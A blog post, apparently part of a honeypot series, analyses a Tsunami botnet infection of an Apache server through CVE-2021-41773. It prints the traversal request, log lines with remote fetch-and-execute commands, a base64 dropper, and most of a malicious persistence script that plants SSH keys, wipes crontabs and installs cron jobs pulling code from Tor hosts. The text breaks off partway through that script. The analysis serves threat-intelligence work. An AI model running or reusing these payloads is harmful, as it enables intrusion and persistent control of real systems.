Hudak’s Honeypot (Part 2)

This is Part 2 in a series. Part 1 is here.

During my triage I noticed a suspicious file /var/tmp/dk86. It’s a 64-bit Linux ELF executable, owned by user “daemon”, created 2021-11-11 19:09:51 UTC. MD5 checksum is d9f82dbf8733f15f97fb352467c9ab21, and searching that on VirusTotal indicates that this is a Tsunami botnet agent. Strings in the binary include the Japanese phrase “nandemo shiranai wa yo, shitteru koto dake” (“I don’t know anything, only what you know”).

Since the file is owned by the same “daemon” user the system’s web server is running as, it’s reasonable to assume this file was created via the CVE-2021-41773 vulnerability the honeypot was created to study. So I went to the web logs under /var/log/apache2 to try and find a web request that matches the timestamp on the file. There’s an exact timestamp match on an entry from IP address 141.135.85.36.

141.135.85.36 - - [11/Nov/2021:19:09:51 +0000] "POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1" 200 - "-" "-"

There are a total of 132 logged requests from this IP on November 11 and 12. While most requests have a null user agent, there are two that are tagged as coming from “zgrab/0.x” (part of the ZMapProject).

141.135.85.36 - - [11/Nov/2021:19:21:30 +0000] "GET / HTTP/1.1" 200 45 "-" "Mozilla/5.0 zgrab/0.x"
141.135.85.36 - - [11/Nov/2021:19:32:04 +0000] "GET / HTTP/1.1" 200 45 "-" "Mozilla/5.0 zgrab/0.x"

WHOIS search on the IP address comes back to a residential IP block owned by Telenet in Belgium.

All of the requests are POST requests. In a normal investigation, that would be the end of the story because POST request data is normally not logged. Happily, Tyler enabled mod_dumpio in the web server, which captures all the data between browser and server in the Apache error_log. There’s a lot of noise, but I’m going to use a little command-line kung fu to reduce the amount of data and am showing you some of the more interesting excerpts below.

# grep 141.135.85.36 error_log | egrep -v '[0-9]* (read)?bytes' | fgrep -v '\r\n' | sed 's/\[dumpio.*data-HEAP)://; s/\[pid .* AH[0-9]*://'
[... snip ...]
[Thu Nov 11 19:09:14.268592 2021]  echo; ls /tmp;
[Thu Nov 11 19:09:14.478663 2021]  echo; pwd
[Thu Nov 11 19:09:14.696024 2021]  echo; whoami
[Thu Nov 11 19:09:14.910345 2021]  echo; hostname
[Thu Nov 11 19:09:29.415116 2021]  echo; wget -O /tmp/dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86;
[... snip ...]
[Thu Nov 11 19:09:29.700476 2021] [cgi:error]  2021-11-11 19:09:29 (346 KB/s) - '/tmp/dk86' saved [48748/48748]: /bin/bash
[... snip ...]
[Thu Nov 11 19:09:29.910929 2021]  echo; pwd
[Thu Nov 11 19:09:30.128200 2021]  echo; whoami
[Thu Nov 11 19:09:30.348177 2021]  echo; hostname
[Thu Nov 11 19:09:32.047781 2021]  P
[Thu Nov 11 19:09:32.053130 2021]  echo; ls /tmp;
[Thu Nov 11 19:09:32.403631 2021]  echo; pwd
[Thu Nov 11 19:09:32.619051 2021]  echo; whoami
[Thu Nov 11 19:09:32.835332 2021]  echo; hostname
[Thu Nov 11 19:09:46.456875 2021]  echo; chmod +x /tmp/dk86;
[Thu Nov 11 19:09:46.680203 2021]  echo; pwd
[Thu Nov 11 19:09:46.895844 2021]  echo; whoami
[Thu Nov 11 19:09:47.117973 2021]  echo; hostname
[Thu Nov 11 19:09:51.416009 2021]  P
[Thu Nov 11 19:09:51.419657 2021]  echo; /tmp/dk86;
[Thu Nov 11 19:09:51.467033 2021] [cgi:error]  no crontab for daemon: /bin/bash
[Thu Nov 11 19:09:51.468329 2021] [cgi:error]  no crontab for daemon: /bin/bash
[Thu Nov 11 19:09:51.481268 2021] [cgi:error]  no crontab for daemon: /bin/bash
[Thu Nov 11 19:09:51.481589 2021] [cgi:error]  no crontab for daemon: /bin/bash
[... snip ...]
[Thu Nov 11 19:32:20.965680 2021]  echo; id
[Thu Nov 11 19:33:05.094087 2021]  echo; id
[Thu Nov 11 19:34:03.356167 2021]  echo; id
[Thu Nov 11 19:35:40.387396 2021]  echo; id
[Thu Nov 11 19:39:36.040592 2021]  echo; id
[Thu Nov 11 19:49:54.240192 2021]  echo; curl http://103.116.168.68/apache80

Unfortunately, at the time of this writing neither of the URLs shown above is responding. However if you do a Google search for the 138.197.206.223 URL, there is a great deal of intel about this site, including this link.

In any event, we can get a decent idea of the sequence of events by looking at the mod_dumpio output. At 19:09:29, /tmp/dk86 gets dropped. This program is executed at 19:09:51, so we assume that this is where /var/tmp/dk86 comes from. The error output also indicates that /tmp/dk86 is trying to interact with the crontab for user “daemon”. However, we find no cron entries for this user in the system image.

/tmp/dk86 has been removed. There’s been so much churn in /tmp that I doubt this file is recoverable. But I might go looking for it in the future. If I find anything, I’ll write that up in a separate blog post.

There’s another interesting set of commands in the mod_dumpio output from Nov 12:

[Fri Nov 12 09:10:08.135090 2021]  echo; id
[Fri Nov 12 09:13:37.621551 2021]  echo; id
[Fri Nov 12 09:13:39.252263 2021]  echo; curl http://172.93.50.138/d | sh
[... snip ...]
[Fri Nov 12 09:13:39.369510 2021] [cgi:error]  dk86: Permission denied: /bin/bash
[Fri Nov 12 09:13:39.371785 2021] [cgi:error]  chmod: : /bin/bash
[Fri Nov 12 09:13:39.371845 2021] [cgi:error]  cannot access 'dk86': /bin/bash
[Fri Nov 12 09:13:39.371900 2021] [cgi:error]  : No such file or directory: /bin/bash
[Fri Nov 12 09:13:39.371918 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:39.377158 2021] [cgi:error]  dk32: Permission denied: /bin/bash
[Fri Nov 12 09:13:39.379557 2021] [cgi:error]  sh: 1: : /bin/bash
[Fri Nov 12 09:13:39.379605 2021] [cgi:error]  ./dk86: not found: /bin/bash
[Fri Nov 12 09:13:39.379620 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:39.381071 2021] [cgi:error]  chmod: : /bin/bash
[Fri Nov 12 09:13:39.381121 2021] [cgi:error]  cannot access 'dk32': /bin/bash
[Fri Nov 12 09:13:39.381167 2021] [cgi:error]  : No such file or directory: /bin/bash
[Fri Nov 12 09:13:39.381182 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:39.383487 2021] [cgi:error]  sh: 2: : /bin/bash
[Fri Nov 12 09:13:39.383625 2021] [cgi:error]  ./dk32: not found: /bin/bash
[Fri Nov 12 09:13:39.383641 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:39.387727 2021] [cgi:error]  dk86: Permission denied: /bin/bash
[Fri Nov 12 09:13:39.388725 2021] [cgi:error]  chmod: : /bin/bash
[Fri Nov 12 09:13:39.388765 2021] [cgi:error]  cannot access 'dk86': /bin/bash
[Fri Nov 12 09:13:39.388802 2021] [cgi:error]  : No such file or directory: /bin/bash
[Fri Nov 12 09:13:39.388814 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:39.389853 2021] [cgi:error]  sh: 1: : /bin/bash
[Fri Nov 12 09:13:39.389980 2021] [cgi:error]  ./dk86: not found: /bin/bash
[... snip ...]
[Fri Nov 12 09:13:39.482184 2021] [cgi:error]  bash: line 39: $(pwd)/.SgII: Permission denied: /bin/bash
[Fri Nov 12 09:13:39.486157 2021] [cgi:error]  bash: line 41: /usr/local/bin/.SgII: Permission denied: /bin/bash
[Fri Nov 12 09:13:39.487927 2021] [cgi:error]  bash: line 42: /.SgII: Permission denied: /bin/bash
[Fri Nov 12 09:13:40.674001 2021] [cgi:error]  grep: : /bin/bash
[Fri Nov 12 09:13:40.674091 2021] [cgi:error]  /.ssh/authorized_keys: /bin/bash
[Fri Nov 12 09:13:40.674141 2021] [cgi:error]  : No such file or directory: /bin/bash
[Fri Nov 12 09:13:40.674156 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:40.675165 2021] [cgi:error]  bash: line 252: /.ssh/authorized_keys: No such file or directory: /bin/bash
[Fri Nov 12 09:13:40.676620 2021] [cgi:error]  bash: line 252: [: -gt: unary operator expected: /bin/bash
[Fri Nov 12 09:13:40.679150 2021] [cgi:error]  grep: : /bin/bash
[Fri Nov 12 09:13:40.679194 2021] [cgi:error]  /.ssh/authorized_keys: /bin/bash
[Fri Nov 12 09:13:40.679232 2021] [cgi:error]  : No such file or directory: /bin/bash
[Fri Nov 12 09:13:40.679244 2021] [cgi:error]  : /bin/bash
[Fri Nov 12 09:13:40.680151 2021] [cgi:error]  bash: line 254: /.ssh/authorized_keys: No such file or directory: /bin/bash
[Fri Nov 12 09:13:51.131698 2021]  echo; id
[Fri Nov 12 09:13:52.076968 2021]  echo; pwd
[Fri Nov 12 09:13:52.294907 2021]  echo; whoami
[Fri Nov 12 09:13:52.516101 2021]  echo; hostname
[Fri Nov 12 09:13:54.127156 2021]  P
[Fri Nov 12 09:13:54.132660 2021]  echo; crontab -l;
[Fri Nov 12 09:13:54.346927 2021]  echo; pwd
[Fri Nov 12 09:13:54.566587 2021]  echo; whoami
[Fri Nov 12 09:13:54.784133 2021]  echo; hostname

The 172.93.50.138 URL is responsive and returns the following:

wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &
wget -O dk32 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk32; chmod +x dk32; ./dk32 &

echo "d2dldCAtTyBkazg2IGh0dHA6Ly8xMzguMTk3LjIwNi4yMjM6ODAvd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2l4dGVlbi9kazg2OyBjaG1vZCAreCBkazg2OyAuL2RrODYgJg==" | base64 -d | sh
echo "Y3VybCBodHRwOi8vMTU5Ljg5LjE4Mi4xMTcvd3AtY29udGVudC90aGVtZXMvdHdlbnR5c2V2ZW50ZWVuL2xkbSB8IGJhc2g=" | base64 -d | sh

And here it is without the base64 encoding:

wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &
wget -O dk32 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk32; chmod +x dk32; ./dk32 &

echo 'wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &' | sh
echo 'curl http://159.89.182.117/wp-content/themes/twentyseventeen/ldm | bash' | sh

As I noted above, the 138.197.206.223 URL is non-responsive. But I got a very interesting script back from hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm which I’m reproducing at the end of this blog post. The script really needs root privileges to execute, which were never achieved during this compromise. However, you can read through the script and extract plenty of interesting items for your threat intel teams, including a .onion URL, plus an embedded SSH public key that the script tries to put into /root/.ssh/authorized_keys. There’s also some attempted manipulation of /etc/ld.so.preload, which is indicative of an LD_PRELOAD type rootkit like the ones Craig Rowland has been blogging about.

Ultimately our dk86 compromise never really got going due to lack of privileges. But that doesn’t mean we can’t extract a great deal of useful indicators for future compromise attempts. In upcoming blog posts I will be digging into other compromises on the honeypot that actually achieved their goals. Stay tuned!

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST="sgzhooqkd2i3d4z4v7pjhlj2ddbpqoda4v4lcrciblj7nvccepajufad"

TOR1=".tor2web.su/"
TOR2=".onion.ly/"
TOR3=".onion.ws/"
RPATH1='src/ldm'

TIMEOUT="75"
CTIMEOUT="22"
COPTS="-fsSLk --retry 2 --connect-timeout ${CTIMEOUT} --max-time ${TIMEOUT}"
WOPTS="--quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=${CTIMEOUT} --timeout=${TIMEOUT}"

C1=""
C2=""

sudoer=1
sudo=''
if [ "$(whoami)" != "root" ]; then
    sudo="sudo "
    timeout -k 5 1 sudo echo 'kthreadd' 2>/dev/null && sudoer=1||{ sudo=''; sudoer=0; }
fi

if [ $(rm --help 2>/dev/null|grep " rm does not remove dir"|wc -l) -ne 0 ]; then rm="rm"; elif [ $(rrn --help 2>/dev/null|grep " rm does not remove dir"|wc -l) -ne 0 ]; then rm="rrn"; else rm="echo"; for f in /bin/*; do strings $f 2>/dev/null|grep -qi " rm does not remove dir" && rm="$f" && ${sudo} mv -f $rm /bin/rrn && break; done; fi
if [ $(curl --help 2>/dev/null|grep -i "Dump libcurl equivalent"|wc -l) -ne 0 ]; then curl="curl"; elif [ $(lxc --help 2>/dev/null|grep -i "Dump libcurl equivalent"|wc -l) -ne 0 ]; then curl="lxc"; else curl="echo"; for f in ${bpath}/*; do strings $f 2>/dev/null|grep -qi "Dump libcurl equivalent" && curl="$f" && ${sudo} mv -f $curl ${bpath}/lxc && break; done; fi
if [ $(wget --version 2>/dev/null|grep -i "wgetrc "|wc -l) -ne 0 ]; then wget="wget"; elif [ $(lxw --version 2>/dev/null|grep -i "wgetrc "|wc -l) -ne 0 ]; then wget="lxw"; else wget="echo"; for f in ${bpath}/*; do strings $f 2>/dev/null|grep -qi ".wgetrc'-style command" && wget="$f" && ${sudo} mv -f $wget ${bpath}/lxw && break; done; fi

if [ $(command -v nohup|wc -l) -ne 0 ] && [ "$1" != "-n" ] && [ -f "$0" ]; then
    ${sudo} chmod +x "$0"
    nohup ${sudo} "$0" -n >/dev/null 2>&1 &
    echo 'Sent!'
    exit $?
fi

rand=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c $(shuf -i 4-16 -n 1) ; echo ''); if [ -z ${rand} ]; then rand='.tmp'; fi
echo "${rand}" > "$(pwd)/.${rand}" 2>/dev/null && LPATH="$(pwd)/.cache/"; ${rm} -f "$(pwd)/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/tmp/.${rand}" 2>/dev/null && LPATH="/tmp/.cache/"; ${rm} -f "/tmp/.${rand}" >/dev/null 2>&1
echo "${rand}" > "/usr/local/bin/.${rand}" 2>/dev/null && LPATH="/usr/local/bin/.cache/"; ${rm} -f "/usr/local/bin/.${rand}" >/dev/null 2>&1
echo "${rand}" > "${HOME}/.${rand}" 2>/dev/null && LPATH="${HOME}/.cache/"; ${rm} -f "${HOME}/.${rand}" >/dev/null 2>&1
mkdir -p ${LPATH} >/dev/null 2>&1
${sudo} chattr -i ${LPATH} >/dev/null 2>&1; chmod 755 ${LPATH} >/dev/null 2>&1; ${sudo} chattr +a ${LPATH} >/dev/null 2>&1

skey="ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQBtGZHLQlMLkrONMAChDVPZf+9gNG5s2rdTMBkOp6P7mKIQ/OkbgiozmZ3syhELI4L0M1TmJiRbbrIta8662z4WAKhXpiU22llfwrkN0m8yKJApd8lDzvvdBw+ShzJr+WaEWX7uW3WCe5NCxGxc6AU7c2vmuLlO0B203pIGVIbV1xJmj6MXrdZpNy7QRo9zStWmgmVY4GR4v26R3XDOn1gshuQ6PgUqgewQ+AlslLVuekdH23sLQfejXyJShcoFI6BbH67YTcoh4G/TuQdGe8lIeAAmp7lzzHMyu+2iSNoFFCeF48JSA2YZvssFOsGuAtV/9uPNQoi9EyvgM2mGDgJJ"
if [ "$(whoami)" != "root" ]; then sshdir="${HOME}/.ssh"; else sshdir='/root/.ssh'; fi

hload=$(ps aux|grep -v 'l0'|grep -v 'eth1'|grep -v 'lan0'|grep -v '^-'| grep -v 'eth0'|grep -v 'inet0'|grep -v 'lano'|grep -v grep|grep -v defunct|grep -v "knthread"|grep -vi 'aaaaaaaaaa'|grep -vi 'java '|grep -vi 'jenkins'|grep -vi 'exim'|awk '{if($3>=54.0) print $11}'|head -n 1)
[ "${hload}" != "" ] && { ps ax|grep -v grep|grep -v defunct|grep -v knthread|grep -F "${hload}"|while read pid _; do if [ ${pid} -gt 301 ] && [ "$pid" != "$$" ]; then echo "killing: ${pid}"; kill -9 "${pid}" >/dev/null 2>&1; fi; done; }

hload2=$(ps aux|grep -v 'l0'|grep -v 'eth1'|grep -v 'lan0'| grep -v '^-' | grep -v 'eth0'|grep -v 'inet0'|grep -v 'lano'|grep -v grep|grep -v defunct|grep -v python|grep -v knthread|grep -vi 'aaaaaaaaaa'|grep -vi "bash"|grep -vi 'exim'|awk '{if($3>=0.0) print $2}'|uniq)
if [[ ! "${hload2}" == "" ]]; then
    for p in ${hload2}; do
        xm=''
        if [[ $p -gt 301 ]] && [[ ! "$pid" == "$$" ]] && [[ ! "$pid" == "$PPID" ]]; then
            if [ -f /proc/${p}/exe ]; then
                xmf="$(readlink /proc/${p}/exe 2>/dev/null)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" /proc/${p}/exe 2>&1)
            elif [ -f /proc/${p}/comm ]; then
                xmf="$(readlink /proc/${p}/cwd)/$(cat /proc/${p}/comm)"
                xm=$(grep -i "xmr\|cryptonight\|hashrate" ${xmf} 2>&1)
            fi
            if [[ "${xm}" == *"matches"* ]]; then
                                echo "killing ${p} and removing: ${xmf}"
                                kill -9 ${p} >/dev/null 2>&1
                                ${rm} -rf ${xmf} >/dev/null 2>&1
                        fi
        fi
    done
fi

sockz() {
        n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch)
        p=$(echo "dns-query?name=relay.l33t-ppl.info")
        s=$(${curl} ${COPTS} https://${n[$((RANDOM%13))]}/$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1)
}

cik() {
        CS="SHELL=/bin/bash\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=''\nHOME=/"
        CR=$(crontab -l 2>/dev/null | grep 'pty')

        if [ "$curl" != "echo" ]; then
                CRON11='n=(doh.defaultroutes.de dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch);p=$(echo "dns-query?name=relay.l33t-ppl.info");s=$(curl https://${n[$((RANDOM\\%13))]}/$p | grep -oE "\\b([0-9]{1,3}\.){3}[0-9]{1,3}\\b" |tr " " "\\\\n"|sort -uR|head -1);'
                CRON11="$CRON11""FETCH_OPTS=\"-fsSLk --connect-timeout 26 --max-time 75\";""(curl -x socks5h://\$s:9050 $RHOST.onion/src/ldm || curl \${FETCH_OPTS} https://${RHOST}${TOR1}src/ldm || curl \${FETCH_OPTS} https://${RHOST}${TOR2}src/ldm || curl \${FETCH_OPTS} https://${RHOST}${TOR3}src/ldm)|bash"
        else
                CRON11="WGET_OPTS=\"--quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75\";(wget \${WGET_OPTS} https://${RHOST}${TOR1}src/ldm || wget \${WGET_OPTS} https://${RHOST}${TOR2}src/ldm || wget \${WGET_OPTS} https://${RHOST}${TOR3}src/ldm)|bash"
        fi

        C1=$(echo -e "$CS""\n""$CR""\n""* * * * * $CRON11")
        C2=$(echo -e "$CS""\n""$CR""\n""* * * * * root $CRON11")
}

net=$(${curl} -fsSLk --max-time 6 ipinfo.io/ip || ${wget} ${WOPTS} -O - ipinfo.io/ip)
if echo "${net}"|grep -q 'Could not resolve proxy'; then
    unset http_proxy; unset HTTP_PROXY; unset https_proxy; unset HTTPS_PROXY
    http_proxy=""; HTTP_PROXY=""; https_proxy=""; HTTPS_PROXY=""
fi

if [ ${sudoer} -eq 1 ]; then
    if [ -f /etc/ld.so.preload ]; then
        if [ $(which chattr|wc -l) -ne 0 ]; then ${sudo} chattr -i /etc/ld.so.preload >/dev/null 2>&1; fi
        ${sudo} ln -sf /etc/ld.so.preload /tmp/.ld.so >/dev/null 2>&1
        >/tmp/.ld.so >/dev/null 2>&1
        ${sudo} ${rm} -rf /etc/ld.so.preload* >/dev/null 2>&1
    fi

    if [ -d /etc/systemd/system/ ]; then ${sudo} ${rm} -rf /etc/systemd/system/cloud* >/dev/null 2>&1; fi
    [ $(${sudo} cat /etc/hosts|grep -i "onion."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.onion.$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "tor2web."|wc -l) -ne 0 ] && { ${sudo} chattr -i -a /etc/hosts >/dev/null 2>&1; ${sudo} chmod 644 /etc/hosts >/dev/null 2>&1; ${sudo} sed -i '/.tor2web.$/d' /etc/hosts >/dev/null 2>&1; }
    [ $(${sudo} cat /etc/hosts|grep -i "onion.\|tor2web"|wc -l) -ne 0 ] && { ${sudo} echo '127.0.0.1 localhost' > /etc/hosts >/dev/null 2>&1; }
    if [ -f /usr/bin/yum ]; then
        if [ -f /usr/bin/systemctl ]; then
            crstart="systemctl restart crond.service >/dev/null 2>&1"
            crstop="systemctl stop crond.service >/dev/null 2>&1"
        else
            crstart="/etc/init.d/crond restart >/dev/null 2>&1"
            crstop="/etc/init.d/crond stop >/dev/null 2>&1"
        fi
    elif [ -f /usr/bin/apt-get ]; then
        crstart="service cron restart >/dev/null 2>&1"
        crstop="service cron stop >/dev/null 2>&1"
    elif [ -f /usr/bin/pacman ]; then
        crstart="/etc/rc.d/cronie restart >/dev/null 2>&1"
        crstop="/etc/rc.d/cronie stop >/dev/null 2>&1"
    elif [ -f /sbin/apk ]; then
        crstart="/etc/init.d/crond restart >/dev/null 2>&1"
        crstop="/etc/init.d/crond stop >/dev/null 2>&1"
    fi
    if [ ! -f "${LPATH}.sysud" ] || [ $(bash --version 2>/dev/null|wc -l) -eq 0 ] || [ $(${wget} --version 2>/dev/null|wc -l) -eq 0 ]; then
        if [ -f /usr/bin/yum ]; then
            yum install -y -q -e 0 openssh-server iptables bash curl wget zip unzip python2 net-tools e2fsprogs vixie-cron cronie >/dev/null 2>&1
            yum reinstall -y -q -e 0 curl wget unzip bash net-tools vixie-cron cronie >/dev/null 2>&1
            chkconfig sshd on >/dev/null 2>&1
            chkconfig crond on >/dev/null 2>&1;
            if [ -f /usr/bin/systemctl ]; then
                systemctl start sshd.service >/dev/null 2>&1
            else
                /etc/init.d/sshd start >/dev/null 2>&1
            fi
        elif [ -f /usr/bin/apt-get ]; then
            rs=$(yes | ${sudo} apt-get update >/dev/null 2>&1)
            if echo "${rs}"|grep -q 'dpkg was interrupted'; then y | ${sudo} dpkg --configure -a; fi
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install openssh-server iptables bash cron curl wget zip unzip python python-minimal vim e2fsprogs net-tools >/dev/null 2>&1
            DEBIAN_FRONTEND=noninteractive ${sudo} apt-get --yes --force-yes install --reinstall curl wget unzip bash net-tools cron
            ${sudo} systemctl enable ssh
            ${sudo} systemctl enable cron
            ${sudo} /etc/init.d/ssh restart >/dev/null 2>&1
        elif [ -f /usr/bin/pacman ]; then
            pacman -Syy >/dev/null 2>&1
            pacman -S --noconfirm base-devel openssh iptables bash cronie curl wget zip unzip python2 vim e2fsprogs net-tools >/dev/null 2>&1
            systemctl enable --now cronie.service >/dev/null 2>&1
            systemctl enable --now sshd.service >/dev/null 2>&1
            /etc/rc.d/sshd restart >/dev/null 2>&1
        elif [ -f /sbin/apk ]; then
            #apk --no-cache -f upgrade >/dev/null 2>&1
            apk --no-cache -f add curl wget unzip bash busybox openssh iptables python vim e2fsprogs e2fsprogs-extra net-tools openrc >/dev/null 2>&1
            apk del openssl-dev net-tools >/dev/null 2>&1; apk del libuv-dev >/dev/null 2>&1;
            apk add --no-cache openssl-dev libuv-dev net-tools --repository http://dl-cdn.alpinelinux.org/alpine/v3.9/main >/dev/null 2>&1
            rc-update add sshd >/dev/null 2>&1
            /etc/init.d/sshd start >/dev/null 2>&1
            if [ -f /etc/init.d/crond ]; then rc-update add crond >/dev/null 2>&1; /etc/init.d/crond restart >/dev/null 2>&1; else /usr/sbin/crond -c /etc/crontabs >/dev/null 2>&1; fi
        fi
    fi

        if [ $(curl --help 2>/dev/null|grep -i "Dump libcurl equivalent"|wc -l) -ne 0 ]; then curl="curl"; elif [ $(lxc --help 2>/dev/null|grep -i "Dump libcurl equivalent"|wc -l) -ne 0 ]; then curl="lxc"; else curl="echo"; for f in ${bpath}/*; do strings $f 2>/dev/null|grep -qi "Dump libcurl equivalent" && curl="$f" && ${sudo} mv -f $curl ${bpath}/lxc && break; done; fi
        if [ $(wget --version 2>/dev/null|grep -i "wgetrc "|wc -l) -ne 0 ]; then wget="wget"; elif [ $(lxw --version 2>/dev/null|grep -i "wgetrc "|wc -l) -ne 0 ]; then wget="lxw"; else wget="echo"; for f in ${bpath}/*; do strings $f 2>/dev/null|grep -qi ".wgetrc'-style command" && wget="$f" && ${sudo} mv -f $wget ${bpath}/lxw && break; done; fi
        net=$(${curl} -fsSLk --max-time 6 ipinfo.io/ip || ${wget} ${WOPTS} -O - ipinfo.io/ip)
        cik >/dev/null 2>&1

    ${sudo} chattr -i -a /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.d/ >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /var/spool/cron/crontabs/ >/dev/null 2>&1
    ${sudo} ${rm} -rf /var/spool/cron/crontabs/* >/dev/null 2>&1; ${sudo} ${rm} -rf /var/spool/cron/crontabs/.* >/dev/null 2>&1; ${sudo} ${rm} -f /var/spool/cron/* >/dev/null 2>&1; ${sudo} ${rm} -f /var/spool/cron/.* >/dev/null 2>&1; ${sudo} ${rm} -rf /etc/cron.d/* >/dev/null 2>&1; ${sudo} ${rm} -rf /etc/cron.d/.* >/dev/null 2>&1;
    ${sudo} chattr -i -a /etc/cron.hourly >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.hourly/ >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.daily >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/cron.daily/ >/dev/null 2>&1
    ${sudo} ${rm} -rf /etc/cron.hourly/* >/dev/null 2>&1; ${sudo} ${rm} -rf /etc/cron.hourly/.* >/dev/null 2>&1; ${sudo} ${rm} -rf /etc/cron.daily/* >/dev/null 2>&1; ${sudo} ${rm} -rf /etc/cron.daily/.* >/dev/null 2>&1;
    ${sudo} chattr -a -i /tmp >/dev/null 2>&1; ${sudo} ${rm} -rf /tmp/* >/dev/null 2>&1; ${sudo} ${rm} -rf /tmp/.* >/dev/null 2>&1
    ${sudo} chattr -a -i /etc/crontab >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/root >/dev/null 2>&1; ${sudo} chattr -i /var/spool/cron/crontabs/root >/dev/null 2>&1
    if [ -f /sbin/apk ]; then
        ${sudo} mkdir -p /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /etc/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a -R /etc/crontabs/* >/dev/null 2>&1
        ${sudo} ${rm} -rf /etc/crontabs/* >/dev/null 2>&1; ${sudo} echo "${C1}" > /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo "${C2}" >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} echo '' >> /etc/crontabs/root >/dev/null 2>&1 && ${sudo} crontab /etc/crontabs/root
    elif [ -f /usr/bin/apt-get ]; then
        ${sudo} mkdir -p /var/spool/cron/crontabs >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/crontabs/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/crontabs/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/crontabs/root && ${sudo} chmod 600 /var/spool/cron/crontabs/root && ${sudo} crontab /var/spool/cron/crontabs/root; fi
    else
        ${sudo} mkdir -p /var/spool/cron >/dev/null 2>&1; ${sudo} chattr -i -a /var/spool/cron/root >/dev/null 2>&1
        rs=$(${sudo} echo "${C1}" > /var/spool/cron/root 2>&1)
        if [ -z ${rs} ]; then ${sudo} echo '' >> /var/spool/cron/root && ${sudo} crontab /var/spool/cron/root; fi
    fi
    ${sudo} chattr -i -a /etc/crontab >/dev/null 2>&1; rs=$(${sudo} echo "${C2}" > /etc/crontab 2>&1)
    if [ -z "${rs}" ]; then ${sudo} echo '' >> /etc/crontab && ${sudo} crontab /etc/crontab; fi
    ${sudo} mkdir -p /etc/cron.d >/dev/null 2>&1; ${sudo} chattr -i -a /etc/cron.d/root >/dev/null 2>&1
    rs=$(${sudo} echo "${C2}" > /etc/cron.d/root 2>&1 && ${sudo} echo '' >> /etc/cron.d/root 2>&1 && ${sudo} chmod 600 /etc/cron.d/root 2>&1)
    if [ $(crontab -l 2>/dev/null|grep -i "${RHOST}"|wc -l) -lt 1 ]; then
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -o ${LPATH}.rm||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_RM -O ${LPATH}.rm) && chmod +x ${LPATH}.rm
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -o ${LPATH}.cd||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CROND -O ${LPATH}.cd) && chmod +x ${LPATH}.cd
        (${curl} ${COPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -o ${LPATH}.ct||${wget} ${WOPTS} https://busybox.net/downloads/binaries/1.30.0-i686/busybox_CRONTAB -O ${LPATH}.ct) && chmod +x ${LPATH}.ct
        if [ -f ${LPATH}.${rm} ] && [ -f ${LPATH}.ct ]; then
            ${sudo} "${crstop}"
            cd=$(which crond)
            ct=$(which crontab)
